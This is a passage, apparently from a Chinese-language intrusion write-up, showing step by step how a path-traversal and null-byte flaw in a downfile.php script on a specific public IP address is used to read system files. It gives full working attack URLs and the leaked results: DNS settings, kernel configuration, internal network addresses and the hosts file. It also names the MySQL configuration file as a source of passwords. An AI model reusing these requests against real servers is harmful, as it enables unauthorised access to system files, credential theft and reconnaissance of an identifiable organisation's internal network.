二、查看DNS
http://210.73.81.145/downfile.php?dir=../../../../../../../../../../etc/resolv.conf%00.jpg&file=003.doc
nameserver 210.73.64.1
三、查看mysql配置文件，得到路径、password敏感信息
/etc/my.cnf
四、查看服务器内核信息
http://210.73.81.145/downfile.php?dir=../../../../../../../../../../etc/sysctl.conf%00.jpg&file=003.doc
# Kernel sysctl configuration file for Red Hat Linux
#
# For binary values, 0 is disabled, 1 is enabled. See sysctl(8) and
# sysctl.conf(5) for more details.
# Controls IP packet forwarding
net.ipv4.ip_forward = 0
# Controls source route verification
net.ipv4.conf.default.rp_filter = 1
# Do not accept source routing
net.ipv4.conf.default.accept_source_route = 0
# Controls the System Request debugging functionality of the kernel
kernel.sysrq = 0
# Controls whether core dumps will append the PID to the core filename.
# Useful for debugging multi-threaded applications.
kernel.core_uses_pid = 1
五 查看网卡信息，得到是在内网
http://210.73.81.145/downfile.php?dir=../../../../../../../../../..//etc/sysconfig/network-scripts/ifcfg-eth0%00.jpg&file=003.doc'

DEVICE=eth0
ONBOOT=yes
BOOTPROTO=static
IPADDR=192.168.100.145
NETMASK=255.255.255.0
GATEWAY=192.168.100.254
HWADDR=00:50:56:99:40:ef

六.HOST信息
http://210.73.81.145/downfile.php?dir=../../../../../../../../../../etc/hostsp%00.jpg&file=003.doc
#127.0.0.1 DKK DKK.localadmin.localhost
#for sendmail
#127.0.0.1 DKK bj.pbc.gov.cn
127.0.0.1 DKK localhost.localdomain localhost
nameserver 210.73.64.1
